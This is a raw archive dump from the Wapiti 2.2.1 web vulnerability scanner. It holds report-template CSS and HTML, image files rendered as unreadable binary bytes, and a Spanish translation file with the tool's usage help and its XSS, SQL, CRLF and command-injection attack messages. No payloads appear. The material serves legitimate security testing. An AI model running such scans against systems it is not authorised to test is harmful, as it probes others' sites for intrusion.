lineWidth; this.ctx.strokeStyle = color; this.ctx.beginPath(); this.ctx.moveTo(points[0].x,points[0].y); for(var i=1;itbody>tr>td { vertical-align:top; border-bottom:1px dotted #DDD; border-left: 1px dotted #DDD; margin:0; overflow:hidden; text-align:center; } #datatable th{ padding: 0 5px; } #high { background: #fb1414; } #medium{ background: #f3bf21; } #low{ background: #f1f321; } .field { border:1px solid #CCC; width:75px; } #chartarea { float:left; margin-left:10px; } #chartcode { float:left; margin-left:10px; } .vulnerability>tbody>tr>td{ border:1px solid #DDD; background: #e1e1e1; } .vulnerability { max-width: 800px; width: 800px; } #footer { height: 70px; padding-left:5px; background: #545248 none repeat scroll 0 0; color: #DBD3D3; font-size: 8pt; } #footer_left { width:80%; float: left; } #footer_right { float: left; width:20%; margin: 0; height: 1%; padding-top: 5px; text-align:right; margin-left: -10px; } #footer a{ color: #DBD3D3; text-decoration:underline; } wapiti-2.2.1/src/report_template/includes/css/canvaschart.css0000644000000000000000000000061111064471200023102 0ustar rootroot.chart { font: menu; background: white; color: black; overflow: hidden; position: relative; } .chart .legend { float: left; border: 1px solid black; background: white; padding: 5px 10px 5px 10px; } .chart .legend ul { margin: 0px; padding: 0px 0px 0px 20px; } .chart .legend ul li { list-style: square; } .chart .legend ul li span { color: black; } wapiti-2.2.1/src/report_template/includes/images/0000755000000000000000000000000011316441726020564 5ustar rootrootwapiti-2.2.1/src/report_template/includes/images/collapse.gif0000644000000000000000000000042111064471200023040 0ustar rootrootGIF89a x̿ƾúȻ¸, 6`HCdh8800p v+CBA`X2E#`<p:"1;wapiti-2.2.1/src/report_template/includes/images/wapiti2.gif0000644000000000000000000000302411064471200022617 0ustar rootrootGIF89a>=[  %$7(0&###,,,444;;;1+'9.$H5O9H8-ZE fHwWlQUF2jT7xd.CCCLLKTTT[[[YOHpWIwfNkkkcccsss||{tng[fgkyp.vTkMffxonX5̙̙ƕН-צ Xfiƚo٩yϨruУNJGm;泀~纎ŶЩ! ,>= YQM&L(KQL!(%MM&KNMPYLMM LM(K8鏰{!3G {`#AYL`!%Ds!LjEuD<ƨf (Hñ%M-yp& AhFh4JP4PBCb؉JE'(T'P|0&-w8q{ Rr,IkbB%=ٴY%L|DudaD=L@ f$Sb#X $ zS ԀÐDB ( D` \1 0dTB`YIf< 8dBt6كqC`oN!dI bhFP6JdNaAh8iA.%qjWF\)a`*c9jpiFkD$xv =`:$ a,&3 +9Tl<{D 1)hܸM`.J' YAA4@G ,l s> +Cq h"| 80\K$@ڜZЂ8N#CIAՓN$x8s&e K) G 7W +v @8$)LL8 :0~ ~Y *p*7N  .M,(  cBN!  9 A|PC2*A˥Au-*pQC0H #y`+46 TcUD<b2* lQB"2 ' !L';wapiti-2.2.1/src/report_template/includes/images/romulus_logo_transparent.png0000644000000000000000000000742611070162124026437 0ustar rootrootPNG  IHDR[=›sRGBbKGD pHYs  tIME  }tEXtCommentCreated with GIMPWqIDATxYs[\.⢍dkvIU*N<8IUĊw˶$ZII\qmot[{p+B ]Μ>WX|]gF__I>:|6s^[[.24 ֝zf$:^l$(iWmmmtq>}S.I~؈iIoJXJI'$TBa4O2{nJ.iEI=|"I aZ撘YݙY":Q14HYb?xaW_.9s I*iUiIEc{pMahXi> `hޘ!( ͣ(@LM4w6&$y?YFE(8!2:ͮ1ӒΣ 1 Z+{ذ9ڐPn٘>z5+A`ʖfn6;*m>p]^sOoЁ"(LO1E}0KLg8Π˘f4;Gl9̐.Jzswv\g_+( ~i*0z3"#̌A~Ok^S ÈуIb6ۤ?A>#MLqqPi^)6@I0-GDgf$ 3LJиYcS 9e³%Goas)vtc=&& _M8_1#Dy" B88v 1kXmAS%27S8& p$i0\~;e`o2fKxhՒ%"*\1gV*@ A=&j\5@.ûa Â訤0'8^`1Y2e4|wR{8ҹ7 =ppMa\҇8[Tq3x㞐t A<ʞEh&Xa:NIW13 1 !Aܲ(q1ql@k6ȒBZP*1 :t~j B"MS.T$[4!.gurSq->iJ0GѤkqGGxg0fe:t.ۍF'!68]5#.g)%.眗TC&7r$.cVLHu @sΟGP1ƶ/#1|ciѦYQS;V1YgʀAq=9kl"cA蚤o (!,dUnr_8"fmh^{/|B{puS *e*I[& 3:̧ߙw+\)ptza`a*#I4)w%ÆVsfR^GBq 4bw( = dElf##ap0uI#ȩN$cs}sLЏJe2vE` *ړD6shiM2˞_g|F/ӏph* pFKC&sWY;!{eWN Z;*},R52lgGQmgw4MԚUI@,A-4̹ATMȽ |PfʻoBcW>CHRZb3{=9liXC)46[&r4fA9&ڼedr+\^)($zmv#ro/^uݡ0Zq̐RZ,eraO.Jl)UMAZrkF %-oZhr4[ognǔswN^ߺɺmeg] fdT/yXab(̰ۃ[oovZPZ 0C6.x7eëF}XɠCJw-庎9VUKZ^J\ ʉ&#Z"5=Za'$}󾣍io|e-PC6ȽuIxI尰vȷƹ!hu( :4CGMj_'`-o62=J€~ƴRi2ߔҜz8w<:lףdVs'`\2 ڸQMzQ?>Us-ؚZ$k=ιR+)[05Y2'рw{sIe_,37l~Bףv 1LbghQأXTZҫ OݷM ^)xy!9N9伅0;X'YL =:Aƈ/\]nkheOL(T$Mcr р*ҍr [@Ul`Bz~'UHl 8ّj0L;W-C!,t#SX7 9i2'}Zc9p/SZ38@>,]'}Pa 6 EޤjML26q#qI`#3I"_5N اв[JGڞAZ 9RE49ӀY(@osc z s%cBWp&0CfK/(%cCY5{I8*B3*udakȉjzq'BǀH,зɻ^w˼뷒r9Tu]kWyF>Z.S$'pVb;jKrD9Y?Ř?#x?lIENDB`wapiti-2.2.1/src/report_template/includes/images/7_transparent.png0000644000000000000000000002244011070162124024050 0ustar rootrootPNG  IHDRJ= sRGBbKGD pHYs  tIME  :2x|{tEXtCommentCreated with GIMPW IDATx՚wgU}?3L2 "QF%ɦaXbl誉ą(Pe{~9c4fWEo|a0C,1kHI(@ PF8s%`Ubhr [$3;{w t V]xL_e8s8Թ֑I19 $A i I qT6TC z1g}{nZ&հE~aV*CL ɩ*iz&-UU2TQ=ě\PNp /d~>2_u7Ar~l H*@$C."@W䁴t`;. 30XF+XͽKJmү,VP54qSu爲 0m5afPХ{.)I@$p." m@(o__%]w76˲|g`]1΃Ć @”:XՃjuBl-%vH+: ojz$X(x0L$MHx P7܄9/̝lZӑ$A5BإKS & ^YC@ޫB8 ֠h1f@|87!*j1U_I`[`/㝗oO| ``o P;Yxm w&!*‚iA.YWnՃkh킦lg桨>c~Gy!C`q5*oڒX524 Qy b!<Q ?jn2 cjѶ E7@ 9$`1qch-\Cu7C8Јrr2c1X(T%_(b REEd\Tv||Q|;}<}>I$,X}.0ʹ5m RP b1u f((jU(U4Oi0uR <# kH,0H =v1TuSK U>ݲPl/aE}Ʈ_msQ+xMS)扚,*0)gp\[j  "" /4~T M͝(M@w}GC0VD3b~Cjc C|dèVꟶÏ᡹{CY4($Y P0A RAe[-uXC0>C@P9C. #UcD\p݅@U(AP]+&g^nMnKQ!7>0<:C9bL_m@3 10$ p@D),>X 3048,%h"!Wrp nߖd<4'-M$Z `)֤YOei y{ÀfLB5p!2N2Agg0ͻ@:%z͈ L,#>CEQfL6z v "&RMmj4r" H޾Z YEgJe,ݹ⤶n~|(*\W4FSr'ǹ m{-3àP`}>N 0Cp5n~CPm(J,xʙ]?)cYP ԩYN٧+θ7>6y[>|~$A Z(Myu~ P -W.W- !iL'XkͅVeyxXDc?͚~øan]~t\vN^IZ2nlUxot&2À(N!K\|PςAV8\mpX vzϦ/pk2ohN(짥73 UQPDe\~ TlKYz ?ĦpΫc6 {a9Z#:W@UPq^fV~*D"2J\2B S1D"?? { '>Cl;gps GP-Q~'LU? 栖vrwB @Ϡv T@9s |ԁP"*{-LSA._WKf2ݑOI+z*a, _y@mguhWOg#Wmܹ9]`>\NX.0m98uy:jtTO`-M~e69[̇OKt`gJ@:=-F[ U7P)_ ?`Б Ae4 +aTm b]DD J+i\+k=G8 LxLQEg|<*!}(W"~җ}fѕyT+S ID (^dm==_<\Y N.E1;` d\Ϊ=+"vX$*K $ʴ Dv vEWKDپ'*ȭW qѯ|&o+>̼t#hdyZ Vq^x~ @P*ǡ(\%#a˂PJ]5N`,ޡ/&Zi!kO/cҾhYl}ӯP-OGvp345%Yjz~mc}]'U6NhHb7zsg~f ݷ[#{]PA CSE \]s!Xz" -8[H?Loy?G6Br@. CO¦npsGa~@Y(]ţ`ZZNx/ mIٳs)%$goWR^Ucc懯2<+X {L;Ph% 8 -iy r5\򘯰}a|]N{+Bt~7S_:K[{n"9Mu,%GfPg sf| _ @#h[y%r{_Y%']^|kF`cO5a jjQ#J8/ B -@c<EE %R va8дD/󍯐$^ꉲ`t0"uWT1!CBsh\ VD3ͅ*g`:fM FGb0^ |Y>q'?߰FFK;se 9U%n0m`nU_twa=]tR.ׯs ةiGK;^G(e-HBa(" @ U#JiYFWVyMmW}/?$}A49@ KkouU3weu>("()Cu`\fzg@`FQuGP# ՇjWs/'V).Ʀ~k%ˀV,:Uɤα~b1(J;Hh)xvyP<<ҕUf!MA8pVʱGr+FP$z[W\u5(q=ҥJ5C!3n SX(z1(Tivy`V x&0,bh3TQOKwb5E0I~30})|3pA\XL!Ԇ`ڷnyџa j6cSMQXgEGCCM_zD0{#XB]hgMKqԵ4^]| k9D&G`\#SS bO=#knJZ Ӭ-ЦCK|X N G 4H~%?[5Na@GJpߤCPw]W, fsgS[-6&ۘ=3vu+gwc<CcOZ8V?fO̒ ]ή=1՛^1;44  p'lL 3`c arP *lV̴}w;xԒgZC4!~L?8Cve?稸#Yb_y?A<64ڝDk^ dɿW{B{ǯ b026bى~ynxywiLjQ6Ѫ/p97ŋ(,kSHH=Ԯ'ǩK(ҍA+17AUD0 %ݏ£(6݁BA7C1fXGle8 j1b sٞdnV,YsN5,k]wpRJoS >}Yѵh HK|g#|+nZC)f>ze gՂd(?qY`.m iuP RU2eL)USK @5 (*L(B:Lz>ܖO!=YįlPb>6xrMګ(~Zz1r+m+eP ]R+s[Z8e)Bhʶ,[e:|ȩ1 5F6)ƧDr_h/*A}(kW5֒lL jejE:E8Q簶BQ0]H_*ɀ0A dKU!Mq0A)LB}2 Z`E!G_c9eذQUY`T$s& Wjp=p z#ds̲p6Qҹ>}ӂR1rZ6Wn5^(~R 34Yt4Udp,ь *9frMaQ%[D%< q*IU \  a8((^D(b|sZpu7uD OO#Ȱe)7ӓp-D4-yd`LIsSQj e+PKcP`gL1t!w`!ySRNFfվ3slܟνɄqqw)  m/7ti3x:n&-߰үmLh({#ر)qſɩ+*%v;+e*Ӓ,;ߙfK˹*uOc렰zhA4]h`ކЇd6ʛ%5-T,nvQX+# =.u!XrắN4g^ Bq:ZTS2Q|=.[w@\B,-ꐷ'Zm_y*tLꗓa%M+eiȕz!ŇR"4d5Z.R#Y(Շjʳ >Dg>"gxl@jlŠ{z0T2": WEe$s|֜>OAO`Gf, i4c5?S(M'Wc[j:12gG,;> >~Oug_+Hi+*" 硇f1œ0@gn%My-H\Yx/:x-HSPvFCci&n KI/L$JZf~,ґY߲m<GSYt!_F hg0Wvgk>eNc G F4Fzinp \_^yh(PQ=4*aOC& A>p9w|lfvhPzW$@9g6#_t c?F=|s pfjѦĩ5qyVK v 7=-Lgut?mhUY+$6|UxC ec°.JV_ŏ'uEgo!TP"g[=۹)>ɞN 4ILͮ|m6+ݩ1ljRuEg?vO*MЛN9latϏtVaGbY&?h5 3d xj+[Q2&MMGOM~ZR+5|fPv;)*b YmK]Vo>wfIUޅOP1:Jn-mSVn  y_CM&+f5#}`C_CS&MD Z|>F5#髽[+S5-=mlE)Ծ?Co RAEMjCuJ]nR'^>m8|[ve/zЧrl%,d|M.?JY2 ikmj؜+݉8- 8ڑ|I]T毶jjHo*ß9@>PEuoIDAT|?tёX?.dr*o ;D9e\Gh4p5Tx'H5Ksk]857>~0iˆk+J K7jtwEAuƥU*:6ZsȖ˘b`M S^h pf:.s+z1ߔ%v#MBuy6]zS4-jpX?T8K}I]pbe$ {CӤC c1AK0ǨpE8x;B:XVAH]%7Ph" FQH/ .B0?T1AQ қA,ʎ\ՅOêt,بd8Hˢm4m(6\6|Q _.zkй8<)RMh<*CU3kHU o55|xR!OZٯt2\ý gSAG1[ZR㕁MPMSWE3n/2C= ,> P+֖u@>&8dab<Ue^8i;DU w"#) }b \ǩF1߲V |B)^iϩKOT'% h.K~׮_gZ)tɴ7+ATVZ䝸Ji~*\{Ta/EO R]Ab놲DZ1pn2.:shrXz[oPrN;)[>i-)>ގj,C'av:)XD8 O+=c5Mds^ޟ"Fvގ.1|o.1ħS+ХIENDB`wapiti-2.2.1/src/report_template/includes/images/expand.gif0000644000000000000000000000042211064471200022516 0ustar rootrootGIF89a x̿ƾúȻ¸, 7`H?g8@ cH@Fg8y! 1(CE,!d4c;wapiti-2.2.1/src/report_template/index.html0000644000000000000000000000403611200333616017477 0ustar rootroot Vulnerabilies report

    Summary



    Attacks details

    wapiti-2.2.1/src/language_sources/0000755000000000000000000000000011316442131015620 5ustar rootrootwapiti-2.2.1/src/language_sources/es.po0000644000000000000000000013775711316442131016613 0ustar rootroot# SOME DESCRIPTIVE TITLE. # Copyright (C) YEAR THE PACKAGE'S COPYRIGHT HOLDER # This file is distributed under the same license as the PACKAGE package. # FIRST AUTHOR , YEAR. # #, fuzzy msgid "" msgstr "" "Project-Id-Version: PACKAGE VERSION\n" "Report-Msgid-Bugs-To: \n" "POT-Creation-Date: 2009-12-29 18:21+0100\n" "PO-Revision-Date: YEAR-MO-DA HO:MI+ZONE\n" "Last-Translator: FULL NAME \n" "Language-Team: LANGUAGE \n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" #: ../wapiti.py:192 ../wapiti.py:196 ../wapiti.py:244 ../wapiti.py:243 #: ../wapiti.py:246 msgid "No links or forms found in this page !" msgstr "¡No se han encontrado enlaces ni formularios en esta página!" #: ../wapiti.py:193 ../wapiti.py:197 ../wapiti.py:245 ../wapiti.py:244 #: ../wapiti.py:247 msgid "Make sure the url is correct." msgstr "Asegúrate de que la URL es correcta" #: ../wapiti.py:199 ../wapiti.py:203 msgid "Attacking urls (GET)" msgstr "Atacando URL (GET)" #: ../wapiti.py:205 ../wapiti.py:209 msgid "Attacking forms (POST)" msgstr "Atacando formularios (POST)" #: ../wapiti.py:211 ../wapiti.py:215 msgid "Looking for permanent XSS" msgstr "Buscando XSS permantentes" #: ../wapiti.py:216 ../wapiti.py:220 ../wapiti.py:267 ../wapiti.py:266 #: ../wapiti.py:269 msgid "Upload scripts found" msgstr "Scripts de upload encontrados" #: ../wapiti.py:226 ../wapiti.py:230 ../wapiti.py:277 ../wapiti.py:276 #: ../wapiti.py:279 msgid "Report" msgstr "Informe" #: ../wapiti.py:228 ../wapiti.py:232 ../wapiti.py:279 ../wapiti.py:278 #: ../wapiti.py:281 msgid "A report has been generated in the file" msgstr "Un informe ha sido generado en el fichero" #: ../wapiti.py:230 ../wapiti.py:234 ../wapiti.py:281 ../wapiti.py:280 #: ../wapiti.py:283 msgid "Open" msgstr "Abre" #: ../wapiti.py:231 ../wapiti.py:235 ../wapiti.py:282 ../wapiti.py:281 #: ../wapiti.py:284 msgid "with a browser to see this report." msgstr "con un navegador para ver el informe" #: ../wapiti.py:331 ../wapiti.py:335 msgid "attackGET" msgstr "Ataque GET" #: ../wapiti.py:354 ../wapiti.py:358 msgid "attackPOST" msgstr "Ataque POST" #: ../wapiti.py:371 ../wapiti.py:372 ../wapiti.py:344 ../wapiti.py:343 #: ../wapiti.py:346 msgid "wapityDoc" msgstr "" " Wapiti - Escáner de vulnerabilidades de aplicaciones web\n" " \n" " Uso: python wapiti.py http://server.com/base/url/ [opciones]\n" " \n" " Las opciones soportadas son:\n" " -s \n" " --start \n" " \tPara especificar una URL con la que empezar\n" " \n" " -x \n" " --exclude \n" " \tPara excluir una URL del análisis (por ejemplo scripts de logout)\n" " \tTambién se permite el uso del comodín (*)\n" " \tEjemplo: -x http://server/base/?page=*&module=test\n" " \to -x http://server/base/admin/* para excluir un directorio\n" " \n" " -p \n" " --proxy \n" " \tEspecifica un proxy\n" " \tEjemplo: -p http://proxy:port/\n" " \n" " -c \n" " --cookie \n" " \tPara usar una cookie\n" " \n" " -t \n" " --timeout \n" " \tEstablece el tiempo del timeout (en segundos)\n" " \n" " -a \n" " --auth \n" " \tEstablece credenciales para autenticación HTTP\n" " \tNo funciona con Python 2.4\n" " \n" " -r \n" " --remove \n" " \tBorra un parámetro de las URL\n" " \n" " -n \n" " --nice \n" " \tDefine el límite de URL a leer con el mismo patrón\n" " \tUsar esta opción para prevenir bucles infinitos\n" " \tEste parámetro debe ser mayor de 0\n" " \n" "-m \n" "--module \n" "\tIndica los módulos y métodos HTT que van a ser usados en los ataques.\n" "\tEjemplo: -m \"-all,xss:get,exec:post\"\n" " \n" " -u\n" " --underline\n" " \tPara resaltar en color los parámetros de las vulnerabilidades en la " "salida\n" " \n" " -v \n" " --verbose \n" " \tEstablece el nivel de logs por pantalla\n" " \t0: silencioso (default), 1: pinta cada URL, 2: pinta cada ataque\n" " \n" " -b \n" " --scope \n" " \tEstablece el ambito del escaneo de Wapiti:\n" " \t\t+ \"page\": para analizar solamente la página pasada en la URL\n" " \t\t+ \"folder\": para analizar todos los enlaces a las página que están en " "la misma caperta que la de la URL pasada a Wapiti.\n" " \t\t+ \"domain\": para analizar todos los enlaces a las página que están en " "el mismo dominio que la de la URL pasada a Wapiti.\n" " \tSi el ámbito no se indica, Wapiti escanea todo el árbol bajo la URL " "dada.\n" " \n" " -f \n" " --reportType \n" " \tEstablece el tipo de informe\n" " \txml: Informe en formato XML\n" " \thtml: Informe en formato HTML\n" " \n" " -o \n" " --output \n" " \tEstablece el nombre del informe\n" " \tSi el tipo de informe seleccionado es HTML, este parámetro debe ser un " "directorio\n" " \n" " -i \n" " --continue \n" " \tEste parámetro indica a Wapiti que debe continuar el escaneo a partir de " "los datos del archivo especificado. Este fichero debe contener información " "de un escaneo previo.\n" " \tEl fichero es opcional, si no se especifica, Wapiti toma un archivo por " "defecto de la carpeta \"scans\".\n" " \n" " -k \n" " --attack \n" " \tEste parámetro le indica a Wapiti que debe realizar los ataques sin " "escanear de nuevo el sitio web, siguiendo la información del fichero que se " "le pasa.\n" " \tEl fichero es opcional, si no se especifica, Wapiti toma un archivo por " "defecto de la carpeta \"scans\".\n" " \n" " -h\n" " --help\n" " \tPara sacar este mensaje de uso de Wapiti" #: ../wapiti.py:452 ../wapiti.py:475 ../wapiti.py:428 ../wapiti.py:427 #: ../wapiti.py:429 ../wapiti.py:432 msgid "Wapiti-2.2.1 (wapiti.sourceforge.net)" msgstr "Wapiti-2.2.1 (wapiti.sourceforge.net)" #: ../net/lswww.py:138 ../net/lswww.py:161 ../net/lswww.py:143 #: ../net/lswww.py:167 ../net/lswww.py:151 ../net/lswww.py:183 #: ../net/lswww.py:152 ../net/lswww.py:184 ../net/lswww.py:139 #: ../net/lswww.py:171 ../net/lswww.py:170 msgid "Invalid link argument" msgstr "Argumento link (URL) inválido" #: ../net/lswww.py:471 ../net/lswww.py:519 ../net/lswww.py:509 #: ../net/lswww.py:556 ../net/lswww.py:565 ../net/lswww.py:524 #: ../net/lswww.py:532 ../net/lswww.py:534 msgid "URLs" msgstr "URLs" #: ../net/lswww.py:478 ../net/lswww.py:526 ../net/lswww.py:516 #: ../net/lswww.py:563 ../net/lswww.py:572 ../net/lswww.py:531 #: ../net/lswww.py:539 ../net/lswww.py:541 msgid "Forms Info" msgstr "Información de los formularios" #: ../net/lswww.py:480 ../net/lswww.py:528 ../net/lswww.py:518 #: ../net/lswww.py:565 ../net/lswww.py:574 ../net/lswww.py:533 #: ../net/lswww.py:541 ../net/lswww.py:543 msgid "From" msgstr "De" #: ../net/lswww.py:481 ../net/lswww.py:529 ../net/lswww.py:519 #: ../net/lswww.py:566 ../net/lswww.py:575 ../net/lswww.py:534 #: ../net/lswww.py:542 ../net/lswww.py:544 msgid "To" msgstr "A" #: ../net/lswww.py:489 ../net/lswww.py:537 ../net/lswww.py:527 #: ../net/lswww.py:574 ../net/lswww.py:583 ../net/lswww.py:542 #: ../net/lswww.py:550 ../net/lswww.py:552 msgid "Upload Scripts" msgstr "Scripts de subida" #: ../net/lswww.py:676 ../net/lswww.py:724 ../net/lswww.py:722 #: ../net/lswww.py:769 ../net/lswww.py:783 ../net/lswww.py:736 #: ../net/lswww.py:744 ../net/lswww.py:746 msgid "Forms" msgstr "Formularios" #: ../net/lswww.py:679 ../net/lswww.py:727 ../net/lswww.py:725 #: ../net/lswww.py:772 ../net/lswww.py:786 ../net/lswww.py:739 #: ../net/lswww.py:747 ../net/lswww.py:749 msgid "Form" msgstr "Formulario" #: ../net/lswww.py:683 ../net/lswww.py:731 ../net/lswww.py:729 #: ../net/lswww.py:776 ../net/lswww.py:790 ../net/lswww.py:743 #: ../net/lswww.py:751 ../net/lswww.py:753 msgid "Method" msgstr "Metodo" #: ../net/lswww.py:684 ../net/lswww.py:732 ../net/lswww.py:730 #: ../net/lswww.py:777 ../net/lswww.py:791 ../net/lswww.py:744 #: ../net/lswww.py:752 ../net/lswww.py:754 msgid "Intputs" msgstr "Entradas" #: ../net/lswww.py:689 ../net/lswww.py:737 ../net/lswww.py:735 #: ../net/lswww.py:782 ../net/lswww.py:796 ../net/lswww.py:749 #: ../net/lswww.py:757 ../net/lswww.py:759 msgid "Selects" msgstr "Seleccionables (Selects)" #: ../net/lswww.py:694 ../net/lswww.py:742 ../net/lswww.py:740 #: ../net/lswww.py:787 ../net/lswww.py:801 ../net/lswww.py:754 #: ../net/lswww.py:762 ../net/lswww.py:764 msgid "TextAreas" msgstr "Áreas de texto" #: ../net/lswww.py:699 ../net/lswww.py:747 ../net/lswww.py:745 #: ../net/lswww.py:792 ../net/lswww.py:806 ../net/lswww.py:759 #: ../net/lswww.py:767 ../net/lswww.py:769 msgid "URLS" msgstr "URLs" #: ../net/lswww.py:783 msgid "lswwwDoc" msgstr "" " lswww explora un sitio web y extrae los enlaces y formularios (incluyendo " "sus campos).\n" " \n" " Usage: python lswww.py http://server.com/base/url/ [opciones]\n" " \n" " Las opciones soportadas son:\n" " -s \n" " --start \n" " \tPara especificar una URL con la que empezar\n" " \n" " -x \n" " --exclude \n" " \tPara excluir una URL del análisis (por ejemplo scripts de logout)\n" " \tTambién se permite el uso del comodín (*)\n" " \tEjemplo: -x http://server/base/?page=*&module=test\n" " \to -x http://server/base/admin/* para excluir un directorio\n" " \n" " -p \n" " --proxy \n" " \tEspecifica un proxy\n" " \tEjemplo: -p http://proxy:port/\n" " \n" " -c \n" " --cookie \n" " \tPara usar una cookie\n" " \n" " -a \n" " --auth \n" " \tEstablece credenciales para autenticación HTTP\n" " \tNo funciona con Python 2.4\n" " \n" " -r \n" " --remove \n" " \tBorra un parámetro de las URL\n" " \n" " -v \n" " --verbose \n" " \tEstablece el nivel de logs\n" " \t 0: only print results\n" " \t 1: pinta un punto (.) por cada URL encontrada (logs por defecto)\n" " \t 2: pinta cada URL\n" " \n" " -t \n" " --timeout \n" " \tEstablece el tiempo del timeout (en segundos)\n" " \n" " -n \n" " --nice \n" " \tDefine el límite de URL a leer con el mismo patrón\n" " \tUsar esta opción para prevenir bucles infinitos\n" " \tEste parámetro debe ser mayor de 0\n" " \n" " -b \n" " --scope \n" " \tEstablece el ambito del escaneo de Wapiti:\n" " \t\t+ \"page\": para analizar solamente la página pasada en la URL\n" " \t\t+ \"folder\": para analizar todos los enlaces a las página que están en " "la misma caperta que la de la URL pasada a Wapiti.\n" " \t\t+ \"domain\": para analizar todos los enlaces a las página que están en " "el mismo dominio que la de la URL pasada a Wapiti.\n" " \tSi el ámbito no se indica, Wapiti escanea todo el árbol bajo la URL " "dada.\n" " \n" " -i \n" " --continue \n" " \tEste parámetro indica a Wapiti que debe continuar el escaneo a partir de " "los datos del archivo especificado. Este fichero debe contener información " "de un escaneo previo.\n" " \tEl fichero es opcional, si no se especifica, Wapiti toma un archivo por " "defecto de la carpeta \"scans\".\n" " \n" " -h\n" " --help\n" " \tPara sacar este mensaje de uso de Wapiti" #: ../attack/crlfattack.py:48 ../attack/crlfattack.py:53 #: ../attack/execattack.py:80 ../attack/execattack.py:86 #: ../attack/sqlinjectionattack.py:98 ../attack/mod_crlf.py:53 #: ../attack/mod_crlf.py:58 ../attack/mod_exec.py:82 ../attack/mod_exec.py:88 #: ../attack/mod_sql.py:98 ../attack/mod_exec.py:84 ../attack/mod_exec.py:90 #: ../attack/mod_sql.py:103 ../attack/mod_crlf.py:61 ../attack/mod_crlf.py:66 #: ../attack/mod_exec.py:91 ../attack/mod_exec.py:97 ../attack/mod_sql.py:111 msgid "(QUERY_STRING)" msgstr "(QUERY_STRING)" #: ../attack/crlfattack.py:49 ../attack/mod_crlf.py:54 #: ../attack/mod_crlf.py:62 msgid "CRLF Injection (QUERY_STRING) in" msgstr "Inyección CRLF (QUERY_STRING) en" #: ../attack/crlfattack.py:50 ../attack/crlfattack.py:73 #: ../attack/execattack.py:88 ../attack/execattack.py:97 #: ../attack/execattack.py:131 ../attack/execattack.py:145 #: ../attack/filehandlingattack.py:111 ../attack/filehandlingattack.py:120 #: ../attack/filehandlingattack.py:154 ../attack/filehandlingattack.py:168 #: ../attack/sqlinjectionattack.py:100 ../attack/sqlinjectionattack.py:108 #: ../attack/sqlinjectionattack.py:138 ../attack/sqlinjectionattack.py:152 #: ../attack/sqlinjectionattack.py:225 ../attack/sqlinjectionattack.py:234 #: ../attack/sqlinjectionattack.py:258 ../attack/sqlinjectionattack.py:276 #: ../attack/xssattack.py:276 ../attack/xssattack.py:331 #: ../attack/xssattack.py:386 ../attack/xssattack.py:440 #: ../attack/xssattack.py:497 ../attack/mod_crlf.py:55 #: ../attack/mod_crlf.py:81 ../attack/mod_exec.py:90 ../attack/mod_exec.py:99 #: ../attack/mod_exec.py:133 ../attack/mod_exec.py:144 #: ../attack/mod_file.py:113 ../attack/mod_file.py:122 #: ../attack/mod_file.py:156 ../attack/mod_file.py:167 #: ../attack/mod_sql.py:100 ../attack/mod_sql.py:111 ../attack/mod_sql.py:141 #: ../attack/mod_sql.py:155 ../attack/mod_blindsql.py:75 #: ../attack/mod_blindsql.py:84 ../attack/mod_blindsql.py:112 #: ../attack/mod_blindsql.py:126 ../attack/mod_xss.py:279 #: ../attack/mod_xss.py:337 ../attack/mod_xss.py:395 ../attack/mod_xss.py:452 #: ../attack/mod_xss.py:512 ../attack/mod_xss.py:229 ../attack/mod_xss.py:287 #: ../attack/mod_xss.py:345 ../attack/mod_xss.py:402 ../attack/mod_xss.py:462 #: ../attack/mod_exec.py:92 ../attack/mod_exec.py:101 #: ../attack/mod_exec.py:135 ../attack/mod_exec.py:146 #: ../attack/mod_xss.py:283 ../attack/mod_htaccess.py:108 #: ../attack/mod_sql.py:105 ../attack/mod_sql.py:116 ../attack/mod_sql.py:146 #: ../attack/mod_sql.py:160 ../attack/mod_xss.py:285 ../attack/mod_xss.py:347 #: ../attack/mod_blindsql.py:76 ../attack/mod_blindsql.py:86 #: ../attack/mod_blindsql.py:115 ../attack/mod_blindsql.py:130 #: ../attack/mod_crlf.py:63 ../attack/mod_crlf.py:89 ../attack/mod_exec.py:108 #: ../attack/mod_exec.py:142 ../attack/mod_exec.py:153 #: ../attack/mod_file.py:121 ../attack/mod_file.py:130 #: ../attack/mod_file.py:165 ../attack/mod_file.py:176 #: ../attack/mod_sql.py:113 ../attack/mod_sql.py:124 ../attack/mod_sql.py:154 #: ../attack/mod_sql.py:168 ../attack/mod_blindsql.py:83 #: ../attack/mod_blindsql.py:93 ../attack/mod_blindsql.py:122 #: ../attack/mod_blindsql.py:137 ../attack/mod_xss.py:293 #: ../attack/mod_xss.py:355 msgid "Evil url" msgstr "URL vulnerable" #: ../attack/crlfattack.py:54 ../attack/filehandlingattack.py:100 #: ../attack/filehandlingattack.py:101 ../attack/mod_crlf.py:59 #: ../attack/mod_file.py:102 ../attack/mod_file.py:103 #: ../attack/mod_crlf.py:67 ../attack/mod_file.py:110 #: ../attack/mod_file.py:111 msgid "Timeout (QUERY_STRING) in" msgstr "Timeout (QUERY_STRING) en" #: ../attack/crlfattack.py:55 ../attack/crlfattack.py:83 #: ../attack/execattack.py:77 ../attack/execattack.py:119 #: ../attack/filehandlingattack.py:102 ../attack/filehandlingattack.py:145 #: ../attack/mod_crlf.py:60 ../attack/mod_crlf.py:88 ../attack/mod_exec.py:79 #: ../attack/mod_exec.py:121 ../attack/mod_file.py:104 #: ../attack/mod_file.py:147 ../attack/mod_exec.py:81 #: ../attack/mod_exec.py:123 ../attack/mod_crlf.py:68 ../attack/mod_crlf.py:96 #: ../attack/mod_exec.py:88 ../attack/mod_exec.py:130 #: ../attack/mod_file.py:112 ../attack/mod_file.py:156 msgid "caused by" msgstr "causado por" #: ../attack/crlfattack.py:72 ../attack/crlfattack.py:82 #: ../attack/execattack.py:118 ../attack/execattack.py:130 #: ../attack/execattack.py:185 ../attack/filehandlingattack.py:144 #: ../attack/filehandlingattack.py:153 ../attack/filehandlingattack.py:208 #: ../attack/sqlinjectionattack.py:137 ../attack/sqlinjectionattack.py:188 #: ../attack/sqlinjectionattack.py:257 ../attack/xssattack.py:275 #: ../attack/xssattack.py:330 ../attack/xssattack.py:385 #: ../attack/mod_crlf.py:80 ../attack/mod_crlf.py:87 ../attack/mod_exec.py:120 #: ../attack/mod_exec.py:132 ../attack/mod_exec.py:185 #: ../attack/mod_file.py:146 ../attack/mod_file.py:155 #: ../attack/mod_file.py:207 ../attack/mod_sql.py:140 ../attack/mod_sql.py:191 #: ../attack/mod_blindsql.py:111 ../attack/mod_xss.py:278 #: ../attack/mod_xss.py:336 